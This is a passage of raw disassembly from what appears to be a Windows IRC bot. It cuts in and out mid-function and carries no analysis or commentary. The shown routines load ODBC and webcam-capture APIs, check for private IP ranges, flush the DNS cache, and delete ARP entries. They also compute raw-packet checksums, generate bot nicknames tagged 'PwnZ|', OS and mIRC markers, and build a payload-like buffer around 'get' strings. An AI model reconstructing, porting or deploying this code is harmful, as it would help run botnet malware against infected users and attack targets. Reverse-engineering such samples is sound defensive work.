"SQLDriverConnect" push edi call esi ; GetProcAddress push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4E425C, eax call esi ; GetProcAddress push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4E42A8, eax call esi ; GetProcAddress push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4E41E4, eax call esi ; GetProcAddress push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4E419C, eax call esi ; GetProcAddress push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4E423C, eax call esi ; GetProcAddress cmp dword_4E425C, ebx mov dword_4E41AC, eax jz short loc_40AA6C cmp dword_4E42A8, ebx jz short loc_40AA6C cmp dword_4E41E4, ebx jz short loc_40AA6C cmp dword_4E419C, ebx jz short loc_40AA6C cmp dword_4E423C, ebx jz short loc_40AA6C cmp eax, ebx jnz short loc_40AA76 jmp short loc_40AA6C ; --------------------------------------------------------------------------- loc_40AA61: ; CODE XREF: sub_409E0C+BD7j call ds:dword_4F6394 ; RtlGetLastWin32Error mov dword_4E4344, eax loc_40AA6C: ; CODE XREF: sub_409E0C+C2Dj ; sub_409E0C+C35j ... mov dword_4E4340, 1 loc_40AA76: ; CODE XREF: sub_409E0C+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp ; LoadLibraryA mov edi, eax cmp edi, ebx jz short loc_40AAAB push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi ; GetProcAddress push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4E4170, eax call esi ; GetProcAddress cmp dword_4E4170, ebx mov dword_4E4250, eax jz short loc_40AAB6 cmp eax, ebx jnz short loc_40AAC0 jmp short loc_40AAB6 ; --------------------------------------------------------------------------- loc_40AAAB: ; CODE XREF: sub_409E0C+C75j call ds:dword_4F6394 ; RtlGetLastWin32Error mov dword_4E434C, eax loc_40AAB6: ; CODE XREF: sub_409E0C+C97j ; sub_409E0C+C9Dj mov dword_4E4348, 1 loc_40AAC0: ; CODE XREF: sub_409E0C+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_409E0C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40AAC8(int,char *Str,int,int) sub_40AAC8 proc near ; CODE XREF: sub_401CC7+252Bp Dest = byte ptr -200h arg_0 = dword ptr 8 Str = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+Str] push esi xor esi, esi cmp dword_4E42E0, esi push edi mov edi, [ebp+arg_8] jz short loc_40AB10 push dword_4E42E4 lea eax, [ebp+Dest] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 20h loc_40AB10: ; CODE XREF: sub_40AAC8+1Aj cmp dword_4E42E8, esi jz short loc_40AB44 push dword_4E42EC lea eax, [ebp+Dest] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 20h loc_40AB44: ; CODE XREF: sub_40AAC8+4Ej cmp dword_4E42F0, esi jz short loc_40AB78 push dword_4E42F4 lea eax, [ebp+Dest] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 20h loc_40AB78: ; CODE XREF: sub_40AAC8+82j cmp dword_4E42F8, esi jz short loc_40ABAC push dword_4E42FC lea eax, [ebp+Dest] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 20h loc_40ABAC: ; CODE XREF: sub_40AAC8+B6j cmp dword_4E4300, esi jz short loc_40ABE0 push dword_4E4304 lea eax, [ebp+Dest] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 20h loc_40ABE0: ; CODE XREF: sub_40AAC8+EAj cmp dword_4E4308, esi jz short loc_40AC14 push dword_4E430C lea eax, [ebp+Dest] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 20h loc_40AC14: ; CODE XREF: sub_40AAC8+11Ej cmp dword_4E4310, esi jz short loc_40AC48 push dword_4E4314 lea eax, [ebp+Dest] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 20h loc_40AC48: ; CODE XREF: sub_40AAC8+152j cmp dword_4E4318, esi jz short loc_40AC7C push dword_4E431C lea eax, [ebp+Dest] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 20h loc_40AC7C: ; CODE XREF: sub_40AAC8+186j cmp dword_4E4320, esi jz short loc_40ACB0 push dword_4E4324 lea eax, [ebp+Dest] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 20h loc_40ACB0: ; CODE XREF: sub_40AAC8+1BAj cmp dword_4E4328, esi jz short loc_40ACE4 push dword_4E432C lea eax, [ebp+Dest] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 20h loc_40ACE4: ; CODE XREF: sub_40AAC8+1EEj cmp dword_4E4330, esi jz short loc_40AD18 push dword_4E4334 lea eax, [ebp+Dest] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 20h loc_40AD18: ; CODE XREF: sub_40AAC8+222j cmp dword_4E4338, esi jz short loc_40AD4C push dword_4E433C lea eax, [ebp+Dest] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 20h loc_40AD4C: ; CODE XREF: sub_40AAC8+256j cmp dword_4E4340, esi jz short loc_40AD80 push dword_4E4344 lea eax, [ebp+Dest] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 20h loc_40AD80: ; CODE XREF: sub_40AAC8+28Aj cmp dword_4E4348, esi jz short loc_40ADB4 push dword_4E434C lea eax, [ebp+Dest] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax ; Dest call _sprintf push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 20h loc_40ADB4: ; CODE XREF: sub_40AAC8+2BEj lea eax, [ebp+Dest] push offset asc_445258 ; "-" push eax ; Dest call _sprintf cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40ADE1 push esi ; int lea eax, [ebp+Dest] push edi ; int push eax ; int push ebx ; Str push [ebp+arg_0] ; int call sub_409D6C add esp, 14h loc_40ADE1: ; CODE XREF: sub_40AAC8+302j lea eax, [ebp+Dest] push eax call sub_415C77 pop ecx pop edi pop esi pop ebx leave retn sub_40AAC8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20h cmp dword ptr [ebp+8], 0 push esi jz loc_40AE88 push offset dword_4E4364 push dword ptr [ebp+8] call _strcmp pop ecx test eax, eax pop ecx jz short loc_40AE88 push 20h lea eax, [ebp-20h] push dword ptr [ebp+8] push eax call _strncpy lea eax, [ebp-20h] push offset a__9 ; "." push eax call _strtok add esp, 14h test eax, eax jz short loc_40AE88 push eax call _atoi mov dword ptr [esp], offset a__10 ; "." push 0 mov esi, eax call _strtok pop ecx test eax, eax pop ecx jz short loc_40AE88 push eax call _atoi cmp esi, 0Ah pop ecx jz short loc_40AE83 cmp esi, 0ACh jnz short loc_40AE74 cmp eax, 0Fh jle short loc_40AE88 cmp eax, 20h jl short loc_40AE83 loc_40AE74: ; CODE XREF: .text:0040AE68j cmp esi, 0C0h jnz short loc_40AE88 cmp eax, 0A8h jnz short loc_40AE88 loc_40AE83: ; CODE XREF: .text:0040AE60j ; .text:0040AE72j push 1 pop eax jmp short loc_40AE8A ; --------------------------------------------------------------------------- loc_40AE88: ; CODE XREF: .text:0040ADFEj ; .text:0040AE15j ... xor eax, eax loc_40AE8A: ; CODE XREF: .text:0040AE86j pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_40AE8D proc near ; CODE XREF: sub_4019E7+4Fp ; sub_401CC7+5DF5p ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4E4260 ; inet_addr cmp eax, 0FFFFFFFFh jnz short locret_40AEB5 push [esp+arg_0] call dword_4E42A4 ; gethostbyname test eax, eax jnz short loc_40AEAE or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40AEAE: ; CODE XREF: sub_40AE8D+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40AEB5: ; CODE XREF: sub_40AE8D+Dj retn sub_40AE8D endp ; =============== S U B R O U T I N E ======================================= sub_40AEB6 proc near ; CODE XREF: sub_4019E7+D6p mov ecx, dword_4E413C xor eax, eax test ecx, ecx jz short locret_40AEC4 call ecx ; DnsFlushResolverCache locret_40AEC4: ; CODE XREF: sub_40AEB6+Aj retn sub_40AEB6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AEC5 proc near ; CODE XREF: sub_401CC7:loc_404117p Dest = byte ptr -88h Size = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+Size] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+Size], edi mov [ebp+var_4], ebx call dword_4E429C ; GetIpNetTable mov ecx, eax sub ecx, edi jz loc_40AF91 sub ecx, 32h jz loc_40AF8A sub ecx, 48h jz short loc_40AF25 sub ecx, 6Eh jz short loc_40AF1E push eax push offset asc_445330 ; "-" loc_40AF0D: ; CODE XREF: sub_40AEC5+91j lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch jmp short loc_40AF6B ; --------------------------------------------------------------------------- loc_40AF1E: ; CODE XREF: sub_40AEC5+40j push offset unk_4452DC jmp short loc_40AF5D ; --------------------------------------------------------------------------- loc_40AF25: ; CODE XREF: sub_40AEC5+3Bj push [ebp+Size] ; Size call _malloc push [ebp+Size] ; Size mov esi, eax push edi ; Val push esi ; Dst call _memset add esp, 10h cmp esi, edi jz short loc_40AF58 lea eax, [ebp+Size] push ebx push eax push esi call dword_4E429C ; GetIpNetTable cmp eax, edi jz short loc_40AF91 push eax push offset unk_445280 jmp short loc_40AF0D ; --------------------------------------------------------------------------- loc_40AF58: ; CODE XREF: sub_40AEC5+79j push offset asc_4452AC ; "-" loc_40AF5D: ; CODE XREF: sub_40AEC5+5Ej ; sub_40AEC5+CAj lea eax, [ebp+Dest] push eax ; Dest call _sprintf pop ecx pop ecx loc_40AF6B: ; CODE XREF: sub_40AEC5+57j lea eax, [ebp+Dest] mov [ebp+var_4], edi push eax call sub_415C77 pop ecx loc_40AF7B: ; CODE XREF: sub_40AEC5+CEj ; sub_40AEC5+E2j push esi ; Memory call _free mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40AF8A: ; CODE XREF: sub_40AEC5+32j push offset unk_445300 jmp short loc_40AF5D ; --------------------------------------------------------------------------- loc_40AF91: ; CODE XREF: sub_40AEC5+29j ; sub_40AEC5+89j cmp [esi], edi jbe short loc_40AF7B lea ebx, [esi+4] loc_40AF98: ; CODE XREF: sub_40AEC5+E0j push ebx call dword_4E4298 ; DeleteIpNetEntry inc edi add ebx, 18h cmp edi, [esi] jb short loc_40AF98 jmp short loc_40AF7B sub_40AEC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AFA9 proc near ; CODE XREF: sub_401CC7+2207p ; sub_401CC7+2358p ... Dst = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax ; Size lea eax, [ebp+Dst] push 0 ; Val push eax ; Dst call _memset add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+Dst] push eax push [ebp+arg_0] call dword_4E41C4 ; getsockname movzx eax, [ebp+var_D] push eax mov esi, offset byte_4E4350 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi ; Dest call _sprintf add esp, 18h mov eax, esi pop esi leave retn sub_40AFA9 endp ; =============== S U B R O U T I N E ======================================= sub_40B002 proc near ; CODE XREF: .text:0040C869p ; sub_4135C1+24Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40B02B mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40B01E: ; CODE XREF: sub_40B002+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40B01E pop edi jmp short loc_40B02F ; --------------------------------------------------------------------------- loc_40B02B: ; CODE XREF: sub_40B002+Aj mov edx, [esp+4+arg_0] loc_40B02F: ; CODE XREF: sub_40B002+27j test esi, esi pop esi jz short loc_40B039 movzx ecx, byte ptr [edx] add eax, ecx loc_40B039: ; CODE XREF: sub_40B002+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40B002 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp-4], esi jle short loc_40B07C mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_40B06E: ; CODE XREF: .text:0040B076j movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_40B06E pop edi cmp eax, 1 loc_40B07C: ; CODE XREF: .text:0040B062j jnz short loc_40B089 mov al, [edx] mov [ebp-4], al movzx eax, word ptr [ebp-4] add esi, eax loc_40B089: ; CODE XREF: .text:loc_40B07Cj mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax leave retn ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40B0A2(char *Dest) sub_40B0A2 proc near ; CODE XREF: sub_40B487+49p ; DATA XREF: .data:off_445378o Dest = dword ptr 4 push esi push edi call ds:dword_4F63B0 ; GetTickCount push eax ; Seed call _srand pop ecx call _rand xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+8+Dest] push off_4453E0[edx*4] push offset aS_38 ; "%s" push 1Ch ; Count push edi ; Dest call __snprintf xor esi, esi add esp, 10h cmp dword_440094, esi jle short loc_40B10A loc_40B0E4: ; CODE XREF: sub_40B0A2+66j call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_3 ; "%s%i" push 1Ch ; Count push edi ; Dest call __snprintf add esp, 14h inc esi cmp esi, dword_440094 jl short loc_40B0E4 loc_40B10A: ; CODE XREF: sub_40B0A2+40j mov eax, edi pop edi pop esi retn sub_40B0A2 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40B10F(char *Dest) sub_40B10F proc near ; DATA XREF: .data:0044538Co var_C = dword ptr -0Ch Dest = dword ptr 4 push esi push edi call ds:dword_4F63B0 ; GetTickCount push eax ; Seed call _srand mov edi, [esp+0Ch+Dest] mov [esp+0Ch+var_C], offset aPwnz ; "PwnZ|" push offset aS_39 ; "%s" push 1Ch ; Count push edi ; Dest call __snprintf xor esi, esi add esp, 10h cmp dword_440094, esi jle short loc_40B168 loc_40B142: ; CODE XREF: sub_40B10F+57j call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_4 ; "%s%i" push 1Ch ; Count push edi ; Dest call __snprintf add esp, 14h inc esi cmp esi, dword_440094 jl short loc_40B142 loc_40B168: ; CODE XREF: sub_40B10F+31j mov eax, edi pop edi pop esi retn sub_40B10F endp ; =============== S U B R O U T I N E ======================================= sub_40B16D proc near ; CODE XREF: sub_401CC7+6B1Ep ; DATA XREF: .data:004453A0o arg_0 = dword ptr 4 push ebx push esi push edi call ds:dword_4F63B0 ; GetTickCount push eax ; Seed call _srand pop ecx call _rand push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_440094 test esi, esi jle short loc_40B1B0 loc_40B19A: ; CODE XREF: sub_40B16D+41j call _rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40B19A loc_40B1B0: ; CODE XREF: sub_40B16D+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40B16D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B1BA(char *Dest) sub_40B1BA proc near ; DATA XREF: .data:004453B4o var_4 = dword ptr -4 Dest = dword ptr 8 push ebp mov ebp, esp push ecx push esi push edi mov esi, offset aPc ; "PC" mov [ebp+var_4], 100h xor edi, edi call ds:dword_4F63B0 ; GetTickCount push eax ; Seed call _srand pop ecx lea eax, [ebp+var_4] push eax push esi call ds:dword_4F63C8 ; GetComputerNameA test eax, eax jnz short loc_40B1EF mov esi, offset aPc_0 ; "PC" loc_40B1EF: ; CODE XREF: sub_40B1BA+2Ej movsx eax, byte ptr [esi] push 41h pop ecx loc_40B1F5: ; CODE XREF: sub_40B1BA+46j cmp eax, ecx jnz short loc_40B1FC push 1 pop edi loc_40B1FC: ; CODE XREF: sub_40B1BA+3Dj inc ecx cmp ecx, 5Bh jl short loc_40B1F5 push 61h pop ecx loc_40B205: ; CODE XREF: sub_40B1BA+56j cmp eax, ecx jnz short loc_40B20C push 1 pop edi loc_40B20C: ; CODE XREF: sub_40B1BA+4Dj inc ecx cmp ecx, 7Bh jl short loc_40B205 test edi, edi jnz short loc_40B21B mov esi, offset aPc_1 ; "PC" loc_40B21B: ; CODE XREF: sub_40B1BA+5Aj mov edi, [ebp+Dest] push esi ; Format push 1Ch ; Count push edi ; Dest call __snprintf xor esi, esi add esp, 0Ch cmp dword_440094, esi jle short loc_40B25A loc_40B234: ; CODE XREF: sub_40B1BA+9Ej call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_0 ; "%s%i" push 1Ch ; Count push edi ; Dest call __snprintf add esp, 14h inc esi cmp esi, dword_440094 jl short loc_40B234 loc_40B25A: ; CODE XREF: sub_40B1BA+78j mov eax, edi pop edi pop esi leave retn sub_40B1BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B260(char *Dest) sub_40B260 proc near ; DATA XREF: .data:004453C8o var_C = byte ptr -0Ch Dest = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push esi push edi call ds:dword_4F63B0 ; GetTickCount push eax ; Seed call _srand pop ecx lea eax, [ebp+var_C] push 0Ah push eax push 7 push 800h call ds:dword_4F63CC ; GetLocaleInfoA mov edi, [ebp+Dest] lea eax, [ebp+var_C] push eax push offset aS_22 ; "%s|" push 1Ch ; Count push edi ; Dest call __snprintf xor esi, esi add esp, 10h cmp dword_440094, esi jle short loc_40B2CF loc_40B2A9: ; CODE XREF: sub_40B260+6Dj call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_1 ; "%s%i" push 1Ch ; Count push edi ; Dest call __snprintf add esp, 14h inc esi cmp esi, dword_440094 jl short loc_40B2A9 loc_40B2CF: ; CODE XREF: sub_40B260+47j mov eax, edi pop edi pop esi leave retn sub_40B260 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B2D5(char *Dest) sub_40B2D5 proc near ; DATA XREF: .data:004453DCo var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h Dest = dword ptr 8 push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp+var_94] push edi push eax mov esi, offset dword_4E436C mov [ebp+var_94], 94h call ds:dword_4F63D0 ; GetVersionExA call ds:dword_4F63B0 ; GetTickCount push eax ; Seed call _srand cmp [ebp+var_90], 4 pop ecx jnz short loc_40B359 cmp [ebp+var_8C], 0 jnz short loc_40B339 cmp [ebp+var_84], 1 jnz short loc_40B329 mov esi, offset a95 ; "95" loc_40B329: ; CODE XREF: sub_40B2D5+4Dj cmp [ebp+var_84], 2 jnz short loc_40B395 mov esi, offset aNt ; "NT" jmp short loc_40B395 ; --------------------------------------------------------------------------- loc_40B339: ; CODE XREF: sub_40B2D5+44j cmp [ebp+var_8C], 0Ah jnz short loc_40B349 mov esi, offset a98 ; "98" jmp short loc_40B395 ; --------------------------------------------------------------------------- loc_40B349: ; CODE XREF: sub_40B2D5+6Bj cmp [ebp+var_8C], 5Ah jnz short loc_40B390 mov esi, offset aMe_0 ; "ME" jmp short loc_40B395 ; --------------------------------------------------------------------------- loc_40B359: ; CODE XREF: sub_40B2D5+3Bj cmp [ebp+var_90], 5 jnz short loc_40B390 cmp [ebp+var_8C], 0 jnz short loc_40B372 mov esi, offset a2k ; "2K" jmp short loc_40B395 ; --------------------------------------------------------------------------- loc_40B372: ; CODE XREF: sub_40B2D5+94j cmp [ebp+var_8C], 1 jnz short loc_40B382 mov esi, offset aXp ; "XP" jmp short loc_40B395 ; --------------------------------------------------------------------------- loc_40B382: ; CODE XREF: sub_40B2D5+A4j cmp [ebp+var_8C], 2 mov esi, offset a2k3 ; "2K3" jz short loc_40B395 loc_40B390: ; CODE XREF: sub_40B2D5+7Bj ; sub_40B2D5+8Bj mov esi, offset a??? ; "???" loc_40B395: ; CODE XREF: sub_40B2D5+5Bj ; sub_40B2D5+62j ... mov edi, [ebp+Dest] push esi push offset aS_23 ; "[%s]|" push 1Ch ; Count push edi ; Dest call __snprintf xor esi, esi add esp, 10h cmp dword_440094, esi jle short loc_40B3D9 loc_40B3B3: ; CODE XREF: sub_40B2D5+102j call _rand push 0Ah cdq pop ecx idiv ecx push edx push edi push offset aSI_2 ; "%s%i" push 1Ch ; Count push edi ; Dest call __snprintf add esp, 14h inc esi cmp esi, dword_440094 jl short loc_40B3B3 loc_40B3D9: ; CODE XREF: sub_40B2D5+DCj mov eax, edi pop edi pop esi leave retn sub_40B2D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B3DF(char *Dest) sub_40B3DF proc near ; CODE XREF: sub_40B487+5Cp Source = byte ptr -1Ch Dest = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call ds:dword_4F63B0 ; GetTickCount xor edx, edx mov ecx, 5265C00h div ecx push 0 mov esi, eax cmp esi, 64h jbe short loc_40B42E push offset aMirc_0 ; "mIRC" call dword_4E422C ; FindWindowA test eax, eax mov eax, offset aM_0 ; "[M]" jnz short loc_40B417 mov eax, offset dword_4E4370 loc_40B417: ; CODE XREF: sub_40B3DF+31j push eax push esi push offset aDS ; "[%d]%s" lea eax, [ebp+Source] push 1Ch ; Count push eax ; Dest call __snprintf add esp, 14h jmp short loc_40B453 ; --------------------------------------------------------------------------- loc_40B42E: ; CODE XREF: sub_40B3DF+1Dj push offset aMirc_1 ; "mIRC" call dword_4E422C ; FindWindowA test eax, eax mov eax, offset aM_1 ; "[M]" jnz short loc_40B447 mov eax, offset dword_4E4374 loc_40B447: ; CODE XREF: sub_40B3DF+61j push eax ; Format lea eax, [ebp+Source] push eax ; Dest call _sprintf pop ecx pop ecx loc_40B453: ; CODE XREF: sub_40B3DF+4Dj lea eax, [ebp+Source] push eax ; Str call _strlen pop ecx cmp eax, 2 pop esi jbe short loc_40B482 push 1Ch ; Count lea eax, [ebp+Source] push [ebp+Dest] ; Source push eax ; Dest call _strncat lea eax, [ebp+Source] push 1Ch ; Count push eax ; Source push [ebp+Dest] ; Dest call _strncpy add esp, 18h loc_40B482: ; CODE XREF: sub_40B3DF+82j mov eax, [ebp+Dest] leave retn sub_40B3DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B487(char *Dest,int,int,char *Str1) sub_40B487 proc near ; CODE XREF: sub_4019E7+7Fp ; sub_401B4F+50p ... Dest = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h Str1 = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_445374 loc_40B493: ; CODE XREF: sub_40B487+3Fj cmp [ebp+Str1], 0 jz short loc_40B4AE lea eax, [esi-0Ch] push eax ; Str2 push [ebp+Str1] ; Str1 call _strcmp neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B4B8 ; --------------------------------------------------------------------------- loc_40B4AE: ; CODE XREF: sub_40B487+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40B4B8: ; CODE XREF: sub_40B487+25j test eax, eax jnz short loc_40B4CA add esi, 14h inc edi cmp esi, offset off_4453EC jb short loc_40B493 jmp short loc_40B4D8 ; --------------------------------------------------------------------------- loc_40B4CA: ; CODE XREF: sub_40B487+33j push [ebp+Dest] ; Dest lea eax, [edi+edi*4] call off_445378[eax*4] pop ecx loc_40B4D8: ; CODE XREF: sub_40B487+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40B4EB push [ebp+Dest] ; Dest call sub_40B3DF pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40B4EB: ; CODE XREF: sub_40B487+57j mov eax, [ebp+Dest] pop ebp retn sub_40B487 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40B4F0(char *Str,int) sub_40B4F0 proc near ; CODE XREF: sub_40B510+Ap ; sub_40B5E8+8p ... Str = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+Str] ; Str call _strlen push [esp+8+arg_4] ; Str mov esi, eax call _strlen pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_40B4F0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40B510(void *Dst,int,char *Src,int) sub_40B510 proc near ; CODE XREF: .text:0040B648p var_4 = dword ptr -4 Dst = dword ptr 8 arg_4 = dword ptr 0Ch Src = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] ; int push [ebp+Src] ; Str call sub_40B4F0 cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_40B52D xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B52D: ; CODE XREF: sub_40B510+17j push ebx push esi push edi push [ebp+Src] ; Str call _strlen push [ebp+arg_C] ; Str mov esi, eax call _strlen mov edi, eax mov ebx, [ebp+Dst] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_449164, eax lea eax, [edi+1] mov dword_449185, eax lea eax, [edi+17h] mov dword_44917D, eax pop eax push 74h ; Size sub eax, edi push offset dword_449100 ; Src push ebx ; Dst mov dword_449193, eax call _memcpy push esi ; Size lea eax, [ebx+74h] push [ebp+Src] ; Src push eax ; Dst call _memcpy add esi, 74h push 5 ; Size push offset aGet ; " get " lea eax, [esi+ebx] push eax ; Dst call _memcpy add esi, 5 push edi ; Size push [ebp+arg_C] ; Src lea eax, [esi+ebx] push eax ; Dst call _memcpy add esi, edi push 10h ; Size push (offset aGet+5) ; Src lea eax, [esi+ebx] push eax ; Dst call _memcpy add esp, 44h add esi, 10h push edi ; Size lea eax, [esi+ebx] push [ebp+arg_C] ; Src push eax ; Dst call _memcpy add esi, edi push 38h ; Size add esi, ebx push offset byte_449189 ; Src push esi ; Dst call _memcpy mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_40B510 endp ; =============== S U B R O U T I N E ======================================= ; int __cdecl sub_40B5E8(char *Str,int) sub_40B5E8 proc near ; CODE XREF: .text:0040B60Cp Str = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] ; int push [esp+4+Str] ; Str call sub_40B4F0 push eax call sub_40B66C add esp, 0Ch retn sub_40B5E8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx mov 